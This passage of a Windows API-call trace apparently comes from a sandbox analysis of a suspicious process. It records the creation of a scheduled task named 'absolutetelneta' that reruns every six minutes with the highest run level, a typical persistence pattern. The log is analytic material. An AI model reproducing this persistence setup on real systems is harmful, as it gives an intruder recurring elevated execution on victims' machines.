(lpFirst="|k|", lpSrch="|f|") returned 0x0 [0131.619] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.619] lstrlenW (lpString="du") returned 2 [0131.619] lstrlenW (lpString="du") returned 2 [0131.619] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.619] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.620] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|du|") returned 4 [0131.620] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.620] lstrlenW (lpString="|du|") returned 4 [0131.620] lstrlenW (lpString="|f|") returned 3 [0131.620] StrStrIW (lpFirst="|du|", lpSrch="|f|") returned 0x0 [0131.620] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.620] lstrlenW (lpString="ri") returned 2 [0131.620] lstrlenW (lpString="ri") returned 2 [0131.620] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.620] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.620] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x5, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|ri|") returned 4 [0131.620] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.620] lstrlenW (lpString="|ri|") returned 4 [0131.620] lstrlenW (lpString="|f|") returned 3 [0131.620] StrStrIW (lpFirst="|ri|", lpSrch="|f|") returned 0x0 [0131.620] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.620] lstrlenW (lpString="z") returned 1 [0131.620] lstrlenW (lpString="z") returned 1 [0131.620] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.620] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.620] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|z|") returned 3 [0131.620] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.620] lstrlenW (lpString="|z|") returned 3 [0131.620] lstrlenW (lpString="|f|") returned 3 [0131.620] StrStrIW (lpFirst="|z|", lpSrch="|f|") returned 0x0 [0131.620] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.620] lstrlenW (lpString="f") returned 1 [0131.620] lstrlenW (lpString="f") returned 1 [0131.620] _memicmp (_Buf1=0x1ae83314380, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.621] _memicmp (_Buf1=0x1ae83313930, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.621] _vsnwprintf (in: _Buffer=0x1ae83313950, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.621] _vsnwprintf (in: _Buffer=0x1ae8331a9f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x6088e7c538 | out: _Buffer="|f|") returned 3 [0131.621] lstrlenW (lpString="|f|") returned 3 [0131.621] lstrlenW (lpString="|f|") returned 3 [0131.621] StrStrIW (lpFirst="|f|", lpSrch="|f|") returned="|f|" [0131.621] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.621] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.621] GetProcessHeap () returned 0x1ae83310000 [0131.621] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b8f0 [0131.621] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.621] LoadStringW (in: hInstance=0x0, uID=0x20d, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="LIMITED") returned 0x7 [0131.621] lstrlenW (lpString="LIMITED") returned 7 [0131.621] GetProcessHeap () returned 0x1ae83310000 [0131.621] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x10) returned 0x1ae8331ab90 [0131.621] GetThreadLocale () returned 0x409 [0131.621] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="LIMITED", cchCount2=-1) returned 1 [0131.621] GetProcessHeap () returned 0x1ae83310000 [0131.621] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b5f0 [0131.621] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.621] LoadStringW (in: hInstance=0x0, uID=0x20e, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="HIGHEST") returned 0x7 [0131.621] lstrlenW (lpString="HIGHEST") returned 7 [0131.621] GetProcessHeap () returned 0x1ae83310000 [0131.621] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x10) returned 0x1ae8331a950 [0131.621] GetThreadLocale () returned 0x409 [0131.621] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="HIGHEST", cchCount1=-1, lpString2="HIGHEST", cchCount2=-1) returned 2 [0131.621] GetProcessHeap () returned 0x1ae83310000 [0131.622] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b950 [0131.622] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.622] LoadStringW (in: hInstance=0x0, uID=0x1ae, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="MINUTE") returned 0x6 [0131.622] lstrlenW (lpString="MINUTE") returned 6 [0131.622] GetProcessHeap () returned 0x1ae83310000 [0131.622] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xe) returned 0x1ae8331a8d0 [0131.622] GetThreadLocale () returned 0x409 [0131.622] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="MINUTE", cchCount1=-1, lpString2="MINUTE", cchCount2=-1) returned 2 [0131.622] RtlRestoreLastWin32Error () returned 0x6088c49000 [0131.622] GetProcessHeap () returned 0x1ae83310000 [0131.622] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x1fc) returned 0x1ae8331abf0 [0131.622] GetProcessHeap () returned 0x1ae83310000 [0131.622] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b7a0 [0131.622] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.622] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0131.622] lstrlenW (lpString="First") returned 5 [0131.622] GetProcessHeap () returned 0x1ae83310000 [0131.622] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xc) returned 0x1ae8331a8b0 [0131.622] GetProcessHeap () returned 0x1ae83310000 [0131.622] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331ba40 [0131.622] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.622] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0131.622] lstrlenW (lpString="Second") returned 6 [0131.622] GetProcessHeap () returned 0x1ae83310000 [0131.622] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xe) returned 0x1ae8331a990 [0131.623] GetProcessHeap () returned 0x1ae83310000 [0131.623] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b650 [0131.623] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.623] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0131.623] lstrlenW (lpString="Third") returned 5 [0131.623] GetProcessHeap () returned 0x1ae83310000 [0131.623] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xc) returned 0x1ae8331abb0 [0131.623] GetProcessHeap () returned 0x1ae83310000 [0131.623] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x20) returned 0x1ae8331b530 [0131.623] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.623] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0131.623] lstrlenW (lpString="Fourth") returned 6 [0131.623] GetProcessHeap () returned 0x1ae83310000 [0131.623] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xe) returned 0x1ae8331a850 [0131.623] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.623] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0131.623] lstrlenW (lpString="Last") returned 4 [0131.623] GetProcessHeap () returned 0x1ae83310000 [0131.623] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0xa) returned 0x1ae8331a8f0 [0131.623] lstrlenW (lpString="6") returned 1 [0131.623] _wtol (_String="6") returned 6 [0131.623] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.623] LoadStringW (in: hInstance=0x0, uID=0x1d7, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="First") returned 0x5 [0131.623] lstrlenW (lpString="First") returned 5 [0131.624] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.624] LoadStringW (in: hInstance=0x0, uID=0x1d8, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Second") returned 0x6 [0131.624] lstrlenW (lpString="Second") returned 6 [0131.624] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.624] LoadStringW (in: hInstance=0x0, uID=0x1d9, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Third") returned 0x5 [0131.624] lstrlenW (lpString="Third") returned 5 [0131.624] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.624] LoadStringW (in: hInstance=0x0, uID=0x1da, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Fourth") returned 0x6 [0131.624] lstrlenW (lpString="Fourth") returned 6 [0131.624] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.624] LoadStringW (in: hInstance=0x0, uID=0x1db, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="Last") returned 0x4 [0131.624] lstrlenW (lpString="Last") returned 4 [0131.624] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x6088e7c390, cchData=128 | out: lpLCData="0") returned 2 [0131.624] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.624] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0131.624] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0131.624] GetProcessHeap () returned 0x1ae83310000 [0131.624] GetProcessHeap () returned 0x1ae83310000 [0131.624] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a8b0) returned 1 [0131.624] GetProcessHeap () returned 0x1ae83310000 [0131.624] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a8b0) returned 0xc [0131.624] GetProcessHeap () returned 0x1ae83310000 [0131.625] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x16) returned 0x1ae8331a870 [0131.625] GetLocaleInfoW (in: Locale=0x400, LCType=0x21, lpLCData=0x6088e7c3b0, cchData=128 | out: lpLCData="0") returned 2 [0131.625] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0131.625] LoadStringW (in: hInstance=0x0, uID=0x19c, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="mm/dd/yyyy") returned 0xa [0131.625] lstrlenW (lpString="mm/dd/yyyy") returned 10 [0131.625] GetProcessHeap () returned 0x1ae83310000 [0131.625] GetProcessHeap () returned 0x1ae83310000 [0131.625] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a990) returned 1 [0131.625] GetProcessHeap () returned 0x1ae83310000 [0131.625] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a990) returned 0xe [0131.625] GetProcessHeap () returned 0x1ae83310000 [0131.625] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x16) returned 0x1ae8331a8b0 [0131.625] GetLocalTime (in: lpSystemTime=0x6088e7c5e8 | out: lpSystemTime=0x6088e7c5e8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x34, wMilliseconds=0x303)) [0131.625] lstrlenW (lpString="") returned 0 [0131.625] GetLocalTime (in: lpSystemTime=0x6088e7cfd8 | out: lpSystemTime=0x6088e7cfd8*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x34, wMilliseconds=0x303)) [0131.625] lstrlenW (lpString="") returned 0 [0131.625] lstrlenW (lpString="") returned 0 [0131.625] lstrlenW (lpString="") returned 0 [0131.625] lstrlenW (lpString="") returned 0 [0131.625] lstrlenW (lpString="6") returned 1 [0131.625] _wtol (_String="6") returned 6 [0131.626] lstrlenW (lpString="") returned 0 [0131.626] lstrlenW (lpString="") returned 0 [0131.626] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0131.639] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0131.802] CoCreateInstance (in: rclsid=0x7ff6b6f79e68*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0x7ff6b6f79e78*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x6088e7cd30 | out: ppv=0x6088e7cd30*=0x1ae835e5720) returned 0x0 [0131.872] TaskScheduler:ITaskService:Connect (This=0x1ae835e5720, serverName=0x6088e7ce20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), user=0x6088e7cdf0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), domain=0x6088e7cdd0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x6088e7cdb0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0)) returned 0x0 [0132.083] TaskScheduler:ITaskService:GetFolder (in: This=0x1ae835e5720, Path=0x0, ppFolder=0x6088e7cf10 | out: ppFolder=0x6088e7cf10*=0x1ae835e58a0) returned 0x0 [0132.086] TaskScheduler:ITaskService:NewTask (in: This=0x1ae835e5720, flags=0x0, ppDefinition=0x6088e7cee8 | out: ppDefinition=0x6088e7cee8*=0x1ae835e5920) returned 0x0 [0132.086] ITaskDefinition:get_Actions (in: This=0x1ae835e5920, ppActions=0x6088e7ce30 | out: ppActions=0x6088e7ce30*=0x1ae835e59b0) returned 0x0 [0132.086] IActionCollection:Create (in: This=0x1ae835e59b0, Type=0, ppAction=0x6088e7ce70 | out: ppAction=0x6088e7ce70*=0x1ae835e5dc0) returned 0x0 [0132.087] IUnknown:Release (This=0x1ae835e5dc0) returned 0x1 [0132.087] IUnknown:Release (This=0x1ae835e59b0) returned 0x1 [0132.087] ITaskDefinition:get_Triggers (in: This=0x1ae835e5920, ppTriggers=0x6088e7c9e0 | out: ppTriggers=0x6088e7c9e0*=0x1ae835e5c70) returned 0x0 [0132.087] ITriggerCollection:Create (in: This=0x1ae835e5c70, Type=1, ppTrigger=0x6088e7c9c8 | out: ppTrigger=0x6088e7c9c8*=0x1ae835e5e50) returned 0x0 [0132.087] lstrlenW (lpString="6") returned 1 [0132.088] _vsnwprintf (in: _Buffer=0x6088e7c950, _BufferCount=0xf, _Format="PT%sM", _ArgList=0x6088e7c948 | out: _Buffer="PT6M") returned 4 [0132.088] ITrigger:get_Repetition (in: This=0x1ae835e5e50, ppRepeat=0x6088e7c9c0 | out: ppRepeat=0x6088e7c9c0*=0x1ae835e5ee0) returned 0x0 [0132.088] IRepetitionPattern:put_Interval (This=0x1ae835e5ee0, Interval="PT6M") returned 0x0 [0132.088] IUnknown:Release (This=0x1ae835e5ee0) returned 0x1 [0132.088] _vsnwprintf (in: _Buffer=0x6088e7c910, _BufferCount=0x1f, _Format="%04u-%02u-%02dT%02u:%02u:00", _ArgList=0x6088e7c8e8 | out: _Buffer="2023-09-19T17:14:00") returned 19 [0132.088] ITrigger:put_StartBoundary (This=0x1ae835e5e50, StartBoundary="2023-09-19T17:14:00") returned 0x0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] lstrlenW (lpString="") returned 0 [0132.088] IUnknown:Release (This=0x1ae835e5e50) returned 0x1 [0132.088] IUnknown:Release (This=0x1ae835e5c70) returned 0x1 [0132.088] ITaskDefinition:get_Settings (in: This=0x1ae835e5920, ppSettings=0x6088e7ce70 | out: ppSettings=0x6088e7ce70*=0x1ae835e5af0) returned 0x0 [0132.089] lstrlenW (lpString="") returned 0 [0132.089] IUnknown:Release (This=0x1ae835e5af0) returned 0x3 [0132.089] GetLocalTime (in: lpSystemTime=0x6088e7cd28 | out: lpSystemTime=0x6088e7cd28*(wYear=0x7e7, wMonth=0x9, wDayOfWeek=0x2, wDay=0x13, wHour=0x11, wMinute=0xe, wSecond=0x35, wMilliseconds=0xf3)) [0132.089] ResolveDelayLoadedAPI () returned 0x7ffb1c453fa0 [0132.089] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x6088e7cd40, nSize=0x6088e7cd18 | out: lpNameBuffer="XC64ZB\\RDhJ0CNFevzX", nSize=0x6088e7cd18) returned 0x1 [0132.090] ITaskDefinition:get_RegistrationInfo (in: This=0x1ae835e5920, ppRegistrationInfo=0x6088e7cd10 | out: ppRegistrationInfo=0x6088e7cd10*=0x1ae835e5a30) returned 0x0 [0132.090] IRegistrationInfo:put_Author (This=0x1ae835e5a30, Author="XC64ZB\\RDhJ0CNFevzX") returned 0x0 [0132.090] _vsnwprintf (in: _Buffer=0x6088e7cd40, _BufferCount=0x7f, _Format="%d-%02d-%02dT%02d:%02d:%02d", _ArgList=0x6088e7ccd8 | out: _Buffer="2023-09-19T17:14:54") returned 19 [0132.090] IRegistrationInfo:put_Date (This=0x1ae835e5a30, Date="2023-09-19T17:14:54") returned 0x0 [0132.090] IUnknown:Release (This=0x1ae835e5a30) returned 0x1 [0132.090] malloc (_Size=0x18) returned 0x1ae835e5f60 [0132.091] free (_Block=0x1ae835e5f60) [0132.091] lstrlenW (lpString="") returned 0 [0132.091] ITaskDefinition:get_Principal (in: This=0x1ae835e5920, ppPrincipal=0x6088e7ced8 | out: ppPrincipal=0x6088e7ced8*=0x1ae835e5ce0) returned 0x0 [0132.091] IPrincipal:put_RunLevel (This=0x1ae835e5ce0, RunLevel=1) returned 0x0 [0132.091] IUnknown:Release (This=0x1ae835e5ce0) returned 0x1 [0132.091] malloc (_Size=0x18) returned 0x1ae835e5f60 [0132.091] ITaskFolder:RegisterTaskDefinition (in: This=0x1ae835e58a0, Path="absolutetelneta", pDefinition=0x1ae835e5920, flags=6, UserId=0x6088e7cf80*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), password=0x6088e7cf60*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), LogonType=3, sddl=0x6088e7cfa0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), ppTask=0x6088e7cf40 | out: ppTask=0x6088e7cf40*=0x1ae835e6fd0) returned 0x0 [0132.237] free (_Block=0x1ae835e5f60) [0132.237] _memicmp (_Buf1=0x1ae83314740, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0132.237] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x1ae8331bab0, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0132.238] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0132.238] GetProcessHeap () returned 0x1ae83310000 [0132.238] GetProcessHeap () returned 0x1ae83310000 [0132.238] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331abb0) returned 1 [0132.238] GetProcessHeap () returned 0x1ae83310000 [0132.238] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331abb0) returned 0xc [0132.238] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331abb0) returned 1 [0132.238] GetProcessHeap () returned 0x1ae83310000 [0132.238] RtlAllocateHeap (HeapHandle=0x1ae83310000, Flags=0xc, Size=0x82) returned 0x1ae83334e00 [0132.238] _vsnwprintf (in: _Buffer=0x6088e7d5f0, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x6088e7ce88 | out: _Buffer="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n") returned 77 [0132.238] __iob_func () returned 0x7ffb1de6e210 [0132.238] _fileno (_File=0x7ffb1de6e240) returned -2 [0132.238] _errno () returned 0x1ae835e0840 [0132.238] _get_osfhandle (_FileHandle=-2) returned 0xffffffffffffffff [0132.238] RtlRestoreLastWin32Error () returned 0x6088c49000 [0132.238] lstrlenW (lpString="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n") returned 77 [0132.238] GetConsoleOutputCP () returned 0x0 [0132.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 77 [0132.238] GetConsoleOutputCP () returned 0x0 [0132.238] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", cchWideChar=77, lpMultiByteStr=0x7ff6b6f88630, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SUCCESS: The scheduled task \"absolutetelneta\" has successfully been created.\n", lpUsedDefaultChar=0x0) returned 77 [0132.239] fprintf (in: _File=0x7ffb1de6e240, _Format="%s" | out: _File=0x7ffb1de6e240) returned 77 [0132.239] fflush (in: _File=0x7ffb1de6e240 | out: _File=0x7ffb1de6e240) returned -1 [0132.239] IUnknown:Release (This=0x1ae835e6fd0) returned 0x0 [0132.239] TaskScheduler:IUnknown:Release (This=0x1ae835e5920) returned 0x0 [0132.239] TaskScheduler:IUnknown:Release (This=0x1ae835e58a0) returned 0x0 [0132.239] TaskScheduler:IUnknown:Release (This=0x1ae835e5720) returned 0x0 [0132.239] lstrlenW (lpString="") returned 0 [0132.239] lstrlenW (lpString="6") returned 1 [0132.240] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="6", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0132.240] GetProcessHeap () returned 0x1ae83310000 [0132.240] GetProcessHeap () returned 0x1ae83310000 [0132.240] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331abf0) returned 1 [0132.240] GetProcessHeap () returned 0x1ae83310000 [0132.240] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331abf0) returned 0x1fc [0132.240] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331abf0) returned 1 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314a60) returned 1 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314a60) returned 0x4 [0132.241] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314a60) returned 1 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a930) returned 1 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a930) returned 0x16 [0132.241] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a930) returned 1 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331a970) returned 1 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331a970) returned 0x18 [0132.241] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331a970) returned 1 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.241] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b5c0) returned 1 [0132.241] GetProcessHeap () returned 0x1ae83310000 [0132.242] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b5c0) returned 0x20 [0132.242] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae8331b5c0) returned 1 [0132.242] GetProcessHeap () returned 0x1ae83310000 [0132.242] GetProcessHeap () returned 0x1ae83310000 [0132.242] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314290) returned 1 [0132.242] GetProcessHeap () returned 0x1ae83310000 [0132.242] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314290) returned 0xa0 [0132.243] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314290) returned 1 [0132.243] GetProcessHeap () returned 0x1ae83310000 [0132.243] GetProcessHeap () returned 0x1ae83310000 [0132.243] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae83314850) returned 1 [0132.243] GetProcessHeap () returned 0x1ae83310000 [0132.243] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae83314850) returned 0x18 [0132.243] RtlFreeHeap (HeapHandle=0x1ae83310000, Flags=0x0, BaseAddress=0x1ae83314850) returned 1 [0132.243] GetProcessHeap () returned 0x1ae83310000 [0132.243] GetProcessHeap () returned 0x1ae83310000 [0132.243] HeapValidate (hHeap=0x1ae83310000, dwFlags=0x0, lpMem=0x1ae8331b8c0) returned 1 [0132.243] GetProcessHeap () returned 0x1ae83310000 [0132.243] RtlSizeHeap (HeapHandle=0x1ae83310000, Flags=0x0, MemoryPointer=0x1ae8331b8c0) returned 0x20 [0132.243] RtlFreeHeap 